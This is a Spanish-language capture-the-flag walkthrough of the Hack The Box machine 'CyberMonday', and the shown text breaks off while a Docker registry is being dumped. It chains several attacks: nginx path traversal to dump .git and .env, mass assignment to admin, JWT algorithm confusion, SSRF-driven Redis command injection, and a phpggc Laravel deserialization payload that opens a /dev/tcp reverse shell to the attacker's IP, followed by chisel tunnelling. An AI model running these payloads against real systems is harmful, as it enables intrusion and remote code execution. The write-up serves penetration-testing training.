Conocimientos
Reconocimiento
Escaneo de puertos con nmap
Descubrimiento de puertos abiertos
nmap -p- --open --min-rate 5000 -n -Pn -sS 10.129.65.44 -oG openports
Starting Nmap 7.94 ( https://nmap.org ) at 2023-08-22 16:13 GMT
Nmap scan report for 10.129.65.44
Host is up (0.23s latency).
Not shown: 65345 closed tcp ports (reset), 188 filtered tcp ports (no-response)
Some closed ports may be reported as filtered due to --defeat-rst-ratelimit
PORT STATE SERVICE
22/tcp open ssh
80/tcp open http
Nmap done: 1 IP address (1 host up) scanned in 13.89 seconds
Escaneo de versión y servicios de cada puerto
nmap -sCV -p22,80 10.129.65.44 -oN portscan
Starting Nmap 7.94 ( https://nmap.org ) at 2023-08-22 16:13 GMT
Nmap scan report for 10.129.65.44
Host is up (0.062s latency).
PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 8.4p1 Debian 5+deb11u1 (protocol 2.0)
| ssh-hostkey:
| 3072 74:68:14:1f:a1:c0:48:e5:0d:0a:92:6a:fb:c1:0c:d8 (RSA)
| 256 f7:10:9d:c0:d1:f3:83:f2:05:25:aa:db:08:0e:8e:4e (ECDSA)
|_ 256 2f:64:08:a9:af:1a:c5:cf:0f:0b:9b:d2:95:f5:92:32 (ED25519)
80/tcp open http nginx 1.25.1
|_http-title: Did not follow redirect to http://cybermonday.htb
|_http-server-header: nginx/1.25.1
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel
Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 11.82 seconds
Añado el dominio cybermonday.htb
al /etc/hosts
Puerto 80 (HTTP)
Con whatweb
analizo las tecnologías que emplea el servidor web
whatweb http://10.129.65.44
http://10.129.65.44 [301 Moved Permanently] Country[RESERVED][ZZ], HTTPServer[nginx/1.25.1], IP[10.129.65.44], RedirectLocation[http://cybermonday.htb], Title[301 Moved Permanently], nginx[1.25.1]
http://cybermonday.htb [200 OK] Cookies[XSRF-TOKEN,cybermonday_session], Country[RESERVED][ZZ], HTML5, HTTPServer[nginx/1.25.1], HttpOnly[cybermonday_session], IP[10.129.65.44], PHP[8.1.20], Script, Title[Welcome - Cyber Monday], X-Powered-By[PHP/8.1.20], X-UA-Compatible[IE=edge], nginx[1.25.1]
La página principal se ve así:
Se está empleando una versión de nginx
que es vulnerable a path traversal via misconfigured nginx alias
. Al realizar fuzzing, encuentro un git
gobuster dir -u 'http://cybermonday.htb/assets../' -w /usr/share/wordlists/SecLists/Discovery/Web-Content/common.txt
===============================================================
Gobuster v3.5
by OJ Reeves (@TheColonial) & Christian Mehlmauer (@firefart)
===============================================================
[+] Url: http://cybermonday.htb/assets../
[+] Method: GET
[+] Threads: 10
[+] Wordlist: /usr/share/wordlists/SecLists/Discovery/Web-Content/common.txt
[+] Negative Status codes: 404
[+] User Agent: gobuster/3.5
[+] Timeout: 10s
===============================================================
2023/08/22 16:25:46 Starting gobuster in directory enumeration mode
===============================================================
/.git/HEAD (Status: 200) [Size: 23]
/.git (Status: 301) [Size: 169] [--> http://cybermonday.htb/assets../.git/]
/.git/logs/ (Status: 403) [Size: 153]
/.git/config (Status: 200) [Size: 92]
/.gitattributes (Status: 200) [Size: 152]
/.gitignore (Status: 200) [Size: 179]
/.git/index (Status: 200) [Size: 12277]
Lo puedo dumpear con git-dumper
. Corresponde a la web que está montada bajo cybermonday.htb
git-dumper 'http://cybermonday.htb/assets../.git' git
En el archivo database/migrations/2014_10_12_000000_create_users_table.php
se puede ver una vulnerabilidad de tipo Mass Assignment
. El parámetro isAdmin
se puede intentar settear a 1
<?php
use Illuminate\Database\Migrations\Migration;
use Illuminate\Database\Schema\Blueprint;
use Illuminate\Support\Facades\Schema;
return new class extends Migration
{
/**
* Run the migrations.
*
* @return void
*/
public function up()
{
Schema::create('users', function (Blueprint $table) {
$table->id();
$table->string('username')->unique();
$table->string('email')->unique();
$table->string('password');
$table->boolean('isAdmin')->default(0);
$table->rememberToken();
$table->timestamps();
});
}
/**
* Reverse the migrations.
*
* @return void
*/
public function down()
{
Schema::dropIfExists('users');
}
};
Me registro en la aplicación
En una sección, puedo modificar mi perfil
Intercepto la petición y añado isAdmin=1
_token=L1zEd7k5MJHr4nr97u4NIiLyS1NOAfWLUk8AYdt1&username=rubbx&email=rubbx%40rubbx.com&password=rubbx&password_confirmation=rubbx&isAdmin=1
Aparece un nuevo menú llamado Dashboard
En el ChangeLog
se comparte un enlace para un webhook
, cuya URL es http://webhooks-api-beta.cybermonday.htb/
Añado este subdominio el /etc/hosts
. Le tramito una petición por GET y me devuelve el panel de ayuda
curl -s -X GET http://webhooks-api-beta.cybermonday.htb/ | jq
{
"status": "success",
"message": {
"routes": {
"/auth/register": {
"method": "POST",
"params": [
"username",
"password"
]
},
"/auth/login": {
"method": "POST",
"params": [
"username",
"password"
]
},
"/webhooks": {
"method": "GET"
},
"/webhooks/create": {
"method": "POST",
"params": [
"name",
"description",
"action"
]
},
"/webhooks/delete:uuid": {
"method": "DELETE"
},
"/webhooks/:uuid": {
"method": "POST",
"actions": {
"sendRequest": {
"params": [
"url",
"method"
]
},
"createLogFile": {
"params": [
"log_name",
"log_content"
]
}
}
}
}
}
}
Me registro en el servicio
curl -s -X POST http://webhooks-api-beta.cybermonday.htb/auth/register -H "Content-Type: application/json" -d '{"username":"rubbx","password":"rubbx"}' | jq
{
"status": "success",
"message": "success"
}
E inicio sesión
curl -s -X POST http://webhooks-api-beta.cybermonday.htb/auth/login -H "Content-Type: application/json" -d '{"username":"rubbx","password":"rubbx"}' | jq
{
"status": "success",
"message": {
"x-access-token": "eyJ0eXAiOiJKV1QiLCJhbGciOiJSUzI1NiJ9.eyJpZCI6MiwidXNlcm5hbWUiOiJydWJieCIsInJvbGUiOiJ1c2VyIn0.VsdtWVRDOcwDtrGgs_Act9IIOmUM0-0SchExBfWGV2b7N8wFk5qCwjDI24keb0mZqP8YsoT1fZC6MM_Q2pz_9NNtD3dVuzGL44C1tysS-0BnDVPtHlO_p3d9vq6ixwXf9S5lY6R94_IKjxm_2wY_SpfgEuSwxXgBoQKXYWZ9Mw3zlZB9lE9hnDroX3NXYYEhydV9mEwB-uDgxNCGgiFlEZsnnJHMAmIJcb7WalJ6NBxw3Kk90SN1kOZZ42FXSFVrSHSxWBAMDhee5nHBOMo5BanpUEnXt71ywUzdJuQf8HaStpqhFZWIjal2RhPQz-F9MgWZK6OFiSgJn9J8QsEKag"
}
}
El x-access-token
corresponde a un Json Web Token
. Desde la web jwt.io puedo ver como está formado
Como algoritmo se emplea RSA. Para poder realizar acciones privilegiadas, mi rol tiene que corresponder al del usuario admin. Aplico fuzzing dentro de este subdominio
gobuster dir -u http://webhooks-api-beta.cybermonday.htb/ -w /usr/share/wordlists/SecLists/Discovery/Web-Content/common.txt -t 50
===============================================================
Gobuster v3.5
by OJ Reeves (@TheColonial) & Christian Mehlmauer (@firefart)
===============================================================
[+] Url: http://webhooks-api-beta.cybermonday.htb/
[+] Method: GET
[+] Threads: 50
[+] Wordlist: /usr/share/wordlists/SecLists/Discovery/Web-Content/common.txt
[+] Negative Status codes: 404
[+] User Agent: gobuster/3.5
[+] Timeout: 10s
===============================================================
2023/08/22 16:48:09 Starting gobuster in directory enumeration mode
===============================================================
/.htaccess (Status: 200) [Size: 602]
/jwks.json (Status: 200) [Size: 447]
Progress: 4682 / 4716 (99.28%)
===============================================================
2023/08/22 16:48:18 Finished
===============================================================
Encuentra el jwks.json
. Existe una técnica llamada Algorithm Confusion que puede servir para generar nuevos JWT, abusando de un cambio de algoritmo de RSA a H256. Este archivo contiene valores que me pueden servir para generar una clave pública
curl -s -X GET http://webhooks-api-beta.cybermonday.htb/jwks.json
{
"keys": [
{
"kty": "RSA",
"use": "sig",
"alg": "RS256",
"n": "pvezvAKCOgxwsiyV6PRJfGMul-WBYorwFIWudWKkGejMx3onUSlM8OA3PjmhFNCP_8jJ7WA2gDa8oP3N2J8zFyadnrt2Xe59FdcLXTPxbbfFC0aTGkDIOPZYJ8kR0cly0fiZiZbg4VLswYsh3Sn797IlIYr6Wqfc6ZPn1nsEhOrwO-qSD4Q24FVYeUxsn7pJ0oOWHPD-qtC5q3BR2M_SxBrxXh9vqcNBB3ZRRA0H0FDdV6Lp_8wJY7RB8eMREgSe48r3k7GlEcCLwbsyCyhngysgHsq6yJYM82BL7V8Qln42yij1BM7fCu19M1EZwR5eJ2Hg31ZsK5uShbITbRh16w",
"e": "AQAB"
}
]
}
Creo un script en python
para ello. Otra alternativa es utilizar la herramienta jwt_tool.py
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
from cryptography.hazmat.primitives import serialization
from cryptography.hazmat.primitives.asymmetric import rsa
import base64
# Valores del JSON (en base64 URL-encoded)
n_base64 = "pvezvAKCOgxwsiyV6PRJfGMul-WBYorwFIWudWKkGejMx3onUSlM8OA3PjmhFNCP_8jJ7WA2gDa8oP3N2J8zFyadnrt2Xe59FdcLXTPxbbfFC0aTGkDIOPZYJ8kR0cly0fiZiZbg4VLswYsh3Sn797IlIYr6Wqfc6ZPn1nsEhOrwO-qSD4Q24FVYeUxsn7pJ0oOWHPD-qtC5q3BR2M_SxBrxXh9vqcNBB3ZRRA0H0FDdV6Lp_8wJY7RB8eMREgSe48r3k7GlEcCLwbsyCyhngysgHsq6yJYM82BL7V8Qln42yij1BM7fCu19M1EZwR5eJ2Hg31ZsK5uShbITbRh16w"
e_base64 = "AQAB"
# Decodificar valores desde base64 URL-encoded
n = int.from_bytes(base64.urlsafe_b64decode(n_base64 + '=='), byteorder='big')
e = int.from_bytes(base64.urlsafe_b64decode(e_base64 + '=='), byteorder='big')
# Crear la clave pública RSA usando los valores
public_numbers = rsa.RSAPublicNumbers(e, n)
public_key = public_numbers.public_key()
# Obtener la clave pública en formato PEM
public_key_pem = public_key.public_bytes(
encoding=serialization.Encoding.PEM,
format=serialization.PublicFormat.SubjectPublicKeyInfo
)
print(public_key_pem.decode("utf-8"))
python3 gen_pub_key.py
-----BEGIN PUBLIC KEY-----
MIIBIjANBgkqhkiG9w0BAQEFAAOCAQ8AMIIBCgKCAQEApvezvAKCOgxwsiyV6PRJ
fGMul+WBYorwFIWudWKkGejMx3onUSlM8OA3PjmhFNCP/8jJ7WA2gDa8oP3N2J8z
Fyadnrt2Xe59FdcLXTPxbbfFC0aTGkDIOPZYJ8kR0cly0fiZiZbg4VLswYsh3Sn7
97IlIYr6Wqfc6ZPn1nsEhOrwO+qSD4Q24FVYeUxsn7pJ0oOWHPD+qtC5q3BR2M/S
xBrxXh9vqcNBB3ZRRA0H0FDdV6Lp/8wJY7RB8eMREgSe48r3k7GlEcCLwbsyCyhn
gysgHsq6yJYM82BL7V8Qln42yij1BM7fCu19M1EZwR5eJ2Hg31ZsK5uShbITbRh1
6wIDAQAB
-----END PUBLIC KEY-----
python3 jwt_tool.py -t http://webhooks-api-beta.cybermonday.htb/webhooks -rh "x-access-token: eyJ0eXAiOiJKV1QiLCJhbGciOiJSUzI1NiJ9.eyJpZCI6MiwidXNlcm5hbWUiOiJydWJieCIsInJvbGUiOiJ1c2VyIn0.VsdtWVRDOcwDtrGgs_Act9IIOmUM0-0SchExBfWGV2b7N8wFk5qCwjDI24keb0mZqP8YsoT1fZC6MM_Q2pz_9NNtD3dVuzGL44C1tysS-0BnDVPtHlO_p3d9vq6ixwXf9S5lY6R94_IKjxm_2wY_SpfgEuSwxXgBoQKXYWZ9Mw3zlZB9lE9hnDroX3NXYYEhydV9mEwB-uDgxNCGgiFlEZsnnJHMAmIJcb7WalJ6NBxw3Kk90SN1kOZZ42FXSFVrSHSxWBAMDhee5nHBOMo5BanpUEnXt71ywUzdJuQf8HaStpqhFZWIjal2RhPQz-F9MgWZK6OFiSgJn9J8QsEKag" -V -jw jwks.json
\ \ \ \ \ \
\__ | | \ |\__ __| \__ __| |
| | \ | | | \ \ |
| \ | | | __ \ __ \ |
\ | _ | | | | | | | |
| | / \ | | | | | | | |
\ | / \ | | |\ |\ | |
\______/ \__/ \__| \__| \__| \______/ \______/ \__|
Version 2.2.6 \______| @ticarpi
Original JWT: eyJ0eXAiOiJKV1QiLCJhbGciOiJSUzI1NiJ9.eyJpZCI6MiwidXNlcm5hbWUiOiJydWJieCIsInJvbGUiOiJ1c2VyIn0.VsdtWVRDOcwDtrGgs_Act9IIOmUM0-0SchExBfWGV2b7N8wFk5qCwjDI24keb0mZqP8YsoT1fZC6MM_Q2pz_9NNtD3dVuzGL44C1tysS-0BnDVPtHlO_p3d9vq6ixwXf9S5lY6R94_IKjxm_2wY_SpfgEuSwxXgBoQKXYWZ9Mw3zlZB9lE9hnDroX3NXYYEhydV9mEwB-uDgxNCGgiFlEZsnnJHMAmIJcb7WalJ6NBxw3Kk90SN1kOZZ42FXSFVrSHSxWBAMDhee5nHBOMo5BanpUEnXt71ywUzdJuQf8HaStpqhFZWIjal2RhPQz-F9MgWZK6OFiSgJn9J8QsEKag
JWKS Contents:
Number of keys: 1
--------
Key 1
Key 1
[+] kty = RSA
[+] use = sig
[+] alg = RS256
[+] n = pvezvAKCOgxwsiyV6PRJfGMul-WBYorwFIWudWKkGejMx3onUSlM8OA3PjmhFNCP_8jJ7WA2gDa8oP3N2J8zFyadnrt2Xe59FdcLXTPxbbfFC0aTGkDIOPZYJ8kR0cly0fiZiZbg4VLswYsh3Sn797IlIYr6Wqfc6ZPn1nsEhOrwO-qSD4Q24FVYeUxsn7pJ0oOWHPD-qtC5q3BR2M_SxBrxXh9vqcNBB3ZRRA0H0FDdV6Lp_8wJY7RB8eMREgSe48r3k7GlEcCLwbsyCyhngysgHsq6yJYM82BL7V8Qln42yij1BM7fCu19M1EZwR5eJ2Hg31ZsK5uShbITbRh16w
[+] e = AQAB
Found RSA key factors, generating a public key
[+] kid_0_1692723551.pem
Attempting to verify token using kid_0_1692723551.pem
RSA Signature is VALID
cat kid_0_1692723551.pem
-----BEGIN PUBLIC KEY-----
MIIBIjANBgkqhkiG9w0BAQEFAAOCAQ8AMIIBCgKCAQEApvezvAKCOgxwsiyV6PRJ
fGMul+WBYorwFIWudWKkGejMx3onUSlM8OA3PjmhFNCP/8jJ7WA2gDa8oP3N2J8z
Fyadnrt2Xe59FdcLXTPxbbfFC0aTGkDIOPZYJ8kR0cly0fiZiZbg4VLswYsh3Sn7
97IlIYr6Wqfc6ZPn1nsEhOrwO+qSD4Q24FVYeUxsn7pJ0oOWHPD+qtC5q3BR2M/S
xBrxXh9vqcNBB3ZRRA0H0FDdV6Lp/8wJY7RB8eMREgSe48r3k7GlEcCLwbsyCyhn
gysgHsq6yJYM82BL7V8Qln42yij1BM7fCu19M1EZwR5eJ2Hg31ZsK5uShbITbRh1
6wIDAQAB
-----END PUBLIC KEY-----
Instalo en el BurpSuite
la extensión JWT Editor
Hago click en New RSA Key
y posteriormente en Generate
para que se asigne un identificador
Pego la clave pública
La misma clave, la introduzco en el decoder para convertirla a base64
Hago click en New Symmetric Key
y despúes en generar. Sustituyo el valor de k
por el valor en base64 de la clave pública
Envío al Burpsuite
la petición para crear un webhook
curl -s -X POST http://webhooks-api-beta.cybermonday.htb/webhooks/create -H "x-access-token: eyJ0eXAiOiJKV1QiLCJhbGciOiJSUzI1NiJ9.eyJpZCI6MiwidXNlcm5hbWUiOiJydWJieCIsInJvbGUiOiJ1c2VyIn0.VsdtWVRDOcwDtrGgs_Act9IIOmUM0-0SchExBfWGV2b7N8wFk5qCwjDI24keb0mZqP8YsoT1fZC6MM_Q2pz_9NNtD3dVuzGL44C1tysS-0BnDVPtHlO_p3d9vq6ixwXf9S5lY6R94_IKjxm_2wY_SpfgEuSwxXgBoQKXYWZ9Mw3zlZB9lE9hnDroX3NXYYEhydV9mEwB-uDgxNCGgiFlEZsnnJHMAmIJcb7WalJ6NBxw3Kk90SN1kOZZ42FXSFVrSHSxWBAMDhee5nHBOMo5BanpUEnXt71ywUzdJuQf8HaStpqhFZWIjal2RhPQz-F9MgWZK6OFiSgJn9J8QsEKag" -x http:localhost:8080
Desde el Repeater
modifico el JWT para que el algoritmo sea HS256
y mi role admin
. Doy click en Sign
para firmar y envío
La respuesta cambia con respecto al JWT original
HTTP/1.1 400 Bad Request
Server: nginx/1.25.1
Date: Tue, 22 Aug 2023 18:00:58 GMT
Content-Type: text/html; charset=UTF-8
Connection: close
Host: webhooks-api-beta.cybermonday.htb
X-Powered-By: PHP/8.2.7
Set-Cookie: PHPSESSID=8f5fdb3b87545ded24c12ae15427ada2; path=/
Expires: Thu, 19 Nov 1981 08:52:00 GMT
Cache-Control: no-store, no-cache, must-revalidate
Pragma: no-cache
Content-Length: 51
{"status":"error","message":"\"name\" not defined"}
Ya no recibo el Unauthorized
curl -s -X POST http://webhooks-api-beta.cybermonday.htb/webhooks/create -H "x-access-token: eyJ0eXAiOiJKV1QiLCJhbGciOiJSUzI1NiJ9.eyJpZCI6MiwidXNlcm5hbWUiOiJydWJieCIsInJvbGUiOiJ1c2VyIn0.VsdtWVRDOcwDtrGgs_Act9IIOmUM0-0SchExBfWGV2b7N8wFk5qCwjDI24keb0mZqP8YsoT1fZC6MM_Q2pz_9NNtD3dVuzGL44C1tysS-0BnDVPtHlO_p3d9vq6ixwXf9S5lY6R94_IKjxm_2wY_SpfgEuSwxXgBoQKXYWZ9Mw3zlZB9lE9hnDroX3NXYYEhydV9mEwB-uDgxNCGgiFlEZsnnJHMAmIJcb7WalJ6NBxw3Kk90SN1kOZZ42FXSFVrSHSxWBAMDhee5nHBOMo5BanpUEnXt71ywUzdJuQf8HaStpqhFZWIjal2RhPQz-F9MgWZK6OFiSgJn9J8QsEKag" | jq
{
"status": "error",
"message": "Unauthorized"
}
Creo un nuevo webhook
con la acción sendRequest
POST /webhooks/create HTTP/1.1
Host: webhooks-api-beta.cybermonday.htb
User-Agent: curl/7.88.1
Accept: */*
x-access-token: eyJ0eXAiOiJKV1QiLCJhbGciOiJIUzI1NiJ9.eyJpZCI6MiwidXNlcm5hbWUiOiJydWJieCIsInJvbGUiOiJhZG1pbiJ9.bsb1EJW-SlTxHvyBRHcxT4Btw2OYoBiA2Ga3jpDmXSE
Content-Type: application/json
Content-Length: 61
Connection: close
{"name":"test", "description":"test", "action":"sendRequest"}
HTTP/1.1 201 Created
Server: nginx/1.25.1
Date: Tue, 22 Aug 2023 18:03:09 GMT
Content-Type: application/json; charset=utf-8
Connection: close
Host: webhooks-api-beta.cybermonday.htb
X-Powered-By: PHP/8.2.7
Set-Cookie: PHPSESSID=f18869597b679122d1473484f7ba7065; path=/
Expires: Thu, 19 Nov 1981 08:52:00 GMT
Cache-Control: no-store, no-cache, must-revalidate
Pragma: no-cache
Content-Length: 181
{"status":"success","message":"Done! Send me a request to execute the action, as the event listener is still being developed.","webhook_uuid":"4c14d3e8-f245-4fb1-b813-d4d37b7621d9"}
Puedo tramitar peticiones a una url a través de un método
POST /webhooks/4c14d3e8-f245-4fb1-b813-d4d37b7621d9 HTTP/1.1
Host: webhooks-api-beta.cybermonday.htb
User-Agent: curl/7.88.1
Accept: */*
x-access-token: eyJ0eXAiOiJKV1QiLCJhbGciOiJIUzI1NiJ9.eyJpZCI6MiwidXNlcm5hbWUiOiJydWJieCIsInJvbGUiOiJhZG1pbiJ9.bsb1EJW-SlTxHvyBRHcxT4Btw2OYoBiA2Ga3jpDmXSE
Content-Type: application/json
Content-Length: 44
Connection: close
{"url":"http://10.10.16.12", "method":"GET"}
HTTP/1.1 200 OK
Server: nginx/1.25.1
Date: Tue, 22 Aug 2023 18:10:44 GMT
Content-Type: application/json; charset=utf-8
Connection: close
Host: webhooks-api-beta.cybermonday.htb
X-Powered-By: PHP/8.2.7
Set-Cookie: PHPSESSID=47d5c95e1bc31cfc85024a40a2cb7d46; path=/
Expires: Thu, 19 Nov 1981 08:52:00 GMT
Cache-Control: no-store, no-cache, must-revalidate
Pragma: no-cache
Content-Length: 271
{"status":"success","message":"URL is live","response":"<!DOCTYPE HTML>\n<html lang=\"en\">\n<head>\n<meta charset=\"utf-8\">\n<title>Directory listing for \/<\/title>\n<\/head>\n<body>\n<h1>Directory listing for \/<\/h1>\n<hr>\n<ul>\n<\/ul>\n<hr>\n<\/body>\n<\/html>\n"}
Es posible modificar cabeceras a través del parámetro method
{"url":"http://10.10.16.12", "method":"GET / HTTP/1.1\nHost: cybermonday.htb\n\n"}
Me traigo el archivo .env
abusando del path traversal para ver las variables de entorno
curl -s -X GET http://cybermonday.htb/assets../.env
APP_NAME=CyberMonday
APP_ENV=local
APP_KEY=base64:EX3zUxJkzEAY2xM4pbOfYMJus+bjx6V25Wnas+rFMzA=
APP_DEBUG=true
APP_URL=http://cybermonday.htb
LOG_CHANNEL=stack
LOG_DEPRECATIONS_CHANNEL=null
LOG_LEVEL=debug
DB_CONNECTION=mysql
DB_HOST=db
DB_PORT=3306
DB_DATABASE=cybermonday
DB_USERNAME=root
DB_PASSWORD=root
BROADCAST_DRIVER=log
CACHE_DRIVER=file
FILESYSTEM_DISK=local
QUEUE_CONNECTION=sync
SESSION_DRIVER=redis
SESSION_LIFETIME=120
MEMCACHED_HOST=127.0.0.1
REDIS_HOST=redis
REDIS_PASSWORD=
REDIS_PORT=6379
REDIS_PREFIX=laravel_session:
CACHE_PREFIX=
MAIL_MAILER=smtp
MAIL_HOST=mailhog
MAIL_PORT=1025
MAIL_USERNAME=null
MAIL_PASSWORD=null
MAIL_ENCRYPTION=null
MAIL_FROM_ADDRESS="hello@example.com"
MAIL_FROM_NAME="${APP_NAME}"
AWS_ACCESS_KEY_ID=
AWS_SECRET_ACCESS_KEY=
AWS_DEFAULT_REGION=us-east-1
AWS_BUCKET=
AWS_USE_PATH_STYLE_ENDPOINT=false
PUSHER_APP_ID=
PUSHER_APP_KEY=
PUSHER_APP_SECRET=
PUSHER_APP_CLUSTER=mt1
MIX_PUSHER_APP_KEY="${PUSHER_APP_KEY}"
MIX_PUSHER_APP_CLUSTER="${PUSHER_APP_CLUSTER}"
CHANGELOG_PATH="/mnt/changelog.txt"
REDIS_BLACKLIST=flushall,flushdb
Se está empleando redis
como base de datos. Creo un servicio como tal en mi equipo
redis-server --protected-mode no
Utilizo la función eval para ejecutar código en lua
y moverme las KEYS a mi servidor
{"url":"http://redis:6379/", "method":"EVAL 'for k,v in pairs(redis.call(\"KEYS\", \"*\")) do redis.pcall(\"MIGRATE\",\"10.10.16.12\",\"6379\",v,0,200) end' 0\r\n*1\r\n$20\r\n"}
Después creo una copia del servicio original en mi equipo
{"url":"http://redis:6379/","method":"REPLICAOF <your ip> 6379\r\n\r\n"}
Le asigno permisos de escritura
{"url":"http://redis:6379/", "method":"CONFIG SET read-replica-only no\r\n\r\n"}
Con redis-cli
me puedo conectar y obtener el laravel_session
, que contiene data serializada
redis-cli
127.0.0.1:6379> keys *
1) "laravel_session:1wrmNT5C4EWLecjow1EERpUhvYa23Sa5PQNlgGja"
127.0.0.1:6379> get laravel_session:1wrmNT5C4EWLecjow1EERpUhvYa23Sa5PQNlgGja
"s:180:\"a:3:{s:6:\"_token\";s:40:\"6ga4KqJCsK7rKCpBgJm2zYcZGXaNkDDzKdJWgdMj\";s:9:\"_previous\";a:1:{s:3:\"url\";s:22:\"http://cybermonday.htb\";}s:6:\"_flash\";a:2:{s:3:\"old\";a:0:{}s:3:\"new\";a:0:{}}}\";"
Creo un payload serializado con phpgcc
./phpggc -f -a Laravel/RCE16 system 'bash -c "bash -i >& /dev/tcp/10.10.16.12/443 0>&1 2<&1"'
PHP Deprecated: Creation of dynamic property PHPGGC\Enhancement\ASCIIStrings::$full is deprecated in /home/rubbx/Desktop/HTB/Machines/CyberMonday/git/phpggc/lib/PHPGGC/Enhancement/ASCIIStrings.php on line 16
a:2:{i:7;O:35:"Monolog\Handler\RotatingFileHandler":4:{S:13:"\00*\00mustRotate";b:1;S:11:"\00*\00filename";S:8:"anything";S:17:"\00*\00filenameFormat";O:38:"Illuminate\Validation\Rules\RequiredIf":1:{S:9:"condition";a:2:{i:0;O:28:"Illuminate\Auth\RequestGuard":3:{S:11:"\00*\00callback";S:14:"call_user_func";S:10:"\00*\00request";S:6:"system";S:11:"\00*\00provider";S:55:"bash -c "bash -i >& /dev/tcp/10.10.16.12/443 0>&1 2<&1"";}i:1;S:4:"user";}}S:13:"\00*\00dateFormat";S:1:"l";}i:7;i:7;}
Y lo introduzco en mi laravel_session
127.0.0.1:6379> set 'laravel_session:nKchITwFVrLGwbRm54h7i4VFv8bGKdxed8q8gQGx' 'a:2:{i:7;O:35:"Monolog\Handler\RotatingFileHandler":4:{S:13:"\00*\00mustRotate";b:1;S:11:"\00*\00filename";S:8:"anything";S:17:"\00*\00filenameFormat";O:38:"Illuminate\Validation\Rules\RequiredIf":1:{S:9:"condition";a:2:{i:0;O:28:"Illuminate\Auth\RequestGuard":3:{S:11:"\00*\00callback";S:14:"call_user_func";S:10:"\00*\00request";S:6:"system";S:11:"\00*\00provider";S:55:"bash -c "bash -i >& /dev/tcp/10.10.16.12/443 0>&1 2<&1"";}i:1;S:4:"user";}}S:13:"\00*\00dateFormat";S:1:"l";}i:7;i:7;}'
OK
Gano acceso al sistema en una sesión de netcat
nc -nlvp 443
listening on [any] 443 ...
connect to [10.10.16.12] from (UNKNOWN) [10.129.216.7] 53546
bash: cannot set terminal process group (1): Inappropriate ioctl for device
bash: no job control in this shell
www-data@070370e2cdc4:~/html/public$ script /dev/null -c bash
script /dev/null -c bash
Script started, output log file is '/dev/null'.
www-data@070370e2cdc4:~/html/public$ ^Z
zsh: suspended nc -nlvp 443
❯ stty raw -echo; fg
[1] + continued nc -nlvp 443
reset xterm
www-data@070370e2cdc4:~/html/public$ export TERM=xterm-color
www-data@070370e2cdc4:~/html/public$ export SHELL=bash
www-data@070370e2cdc4:~/html/public$ stty rows 55 columns 209
www-data@070370e2cdc4:~/html/public$ source /etc/skel/.bashrc
Estoy dentro de un contenedor
www-data@070370e2cdc4:~/html/public$ hostname -I
172.18.0.3
Utilizo chisel
para aplicar Dinamic Port Forwarding
. Como el contenedor no tiene curl
ni wget
ni ningún otro binario que me permita descargar archivos, utilizo una función de bash
que mediante descriptores de archivo me permite llevarlo a cabo
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
function __curl() {
read -r proto server path <<<"$(printf '%s' "${1//// }")"
if [ "$proto" != "http:" ]; then
printf >&2 "sorry, %s supports only http\n" "${FUNCNAME[0]}"
return 1
fi
DOC=/${path// //}
HOST=${server//:*}
PORT=${server//*:}
[ "${HOST}" = "${PORT}" ] && PORT=80
exec 3<>"/dev/tcp/${HOST}/$PORT"
printf 'GET %s HTTP/1.0\r\nHost: %s\r\n\r\n' "${DOC}" "${HOST}" >&3
(while read -r line; do
[ "$line" = $'\r' ] && break
done && cat) <&3
exec 3>&-
}
En mi equipo lo ejecuto como servidor
chisel server -p 1234 --reverse
Desde el contenedor me conecto como cliente
www-data@070370e2cdc4:/tmp$ ./chisel client 10.10.16.12:1234 R:socks &>/dev/null & disown
Para la IP 172.18.0.2
el puerto 5000, correspondiente a docker
está abierto. Puedo tramitarle una petición por GET y obtener las imágenes
proxychains curl -s -X GET 172.18.0.2:5000/v2/_catalog | jq
[proxychains] config file found: /etc/proxychains4.conf
[proxychains] preloading /usr/lib/x86_64-linux-gnu/libproxychains.so.4
{
"repositories": [
"cybermonday_api"
]
}
Utilizo DockerGraber para dumpear los blobs
proxychains python3 DockerGraber.py http://172.18.0.2 --dump_all
[proxychains] config file found: /etc/proxychains4.conf
[proxychains] preloading /usr/lib/x86_64-linux-gnu/libproxychains.so.4
[+]======================================================[+]
[|] Docker Registry Grabber v1 @SyzikSecu [|]
[+]======================================================[+]
[+] cybermonday_api
[+] BlobSum found 27
[+] Dumping cybermonday_api
[+] Downloading : a3ed95caeb02ffe68cdd9fd84406680ae93d633cb16422d00e8a7c22955b46d4
[+] Downloading : beefd953abbcb2b603a98ef203b682f8c5f62af19835c01206693ad61aed63ce
[+] Downloading : ced3ae14b696846cab74bd01a27a10cb22070c74451e8c0c1f3dcb79057bcc5e
[+] Downloading : a3ed95caeb02ffe68cdd9fd84406680ae93d633cb16422d00e8a7c22955b46d4
[+] Downloading : ca62759c06e1877153b3eab0b3b734d6072dd2e6f826698bf55aedf50c0959c1
[+] Downloading : 1696d1b2f2c3c8b37ae902dfd60316f8928a31ff8a5ed0a2f9bbf255354bdee8
[+] Downloading : a3ed95caeb02ffe68cdd9fd84406680ae93d633cb16422d00e8a7c22955b46d4
[+] Downloading : a3ed95caeb02ffe68cdd9fd84406680ae93d633cb16422d00e8a7c22955b46d4
[+] Downloading : 57cdb531a15a172818ddf3eea38797a2f5c4547a302b65ab663bac6fc7ec4d4f
[+] Downloading : 4756652e14e0fb6403c377eb87fd1ef557abc7864bf93bf7c25e19f91183ce2c
[+] Downloading : 5c3b6a1cbf5455e10e134d1c129041d12a8364dac18a42cf6333f8fee4762f33
[+] Downloading : 9f5fbfd5edfcaf76c951d4c46a27560120a1cd6a172bf291a7ee5c2b42afddeb
[+] Downloading : 57fbc4474c06c29a50381676075d9ee5e8dca9fee0821045d0740a5bc572ec95
[+] Downloading : a3ed95caeb02ffe68cdd9fd84406680ae93d633cb16422d00e8a7c22955b46d4
[+] Downloading : a3ed95caeb02ffe68cdd9fd84406680ae93d633cb16422d00e8a7c22955b46d4
[+] Downloading : a3ed95caeb02ffe68cdd9fd84406680ae93d633cb16422d00e8a7c22955b46d4
[+] Downloading : a3ed95caeb02ffe68cdd9fd84406680ae93d633cb16422d00e8a7c22955b46d4
[+] Downloading : a3ed95caeb02ffe68cdd9fd84406680ae93d633cb16422d00e8a7c22955b46d4
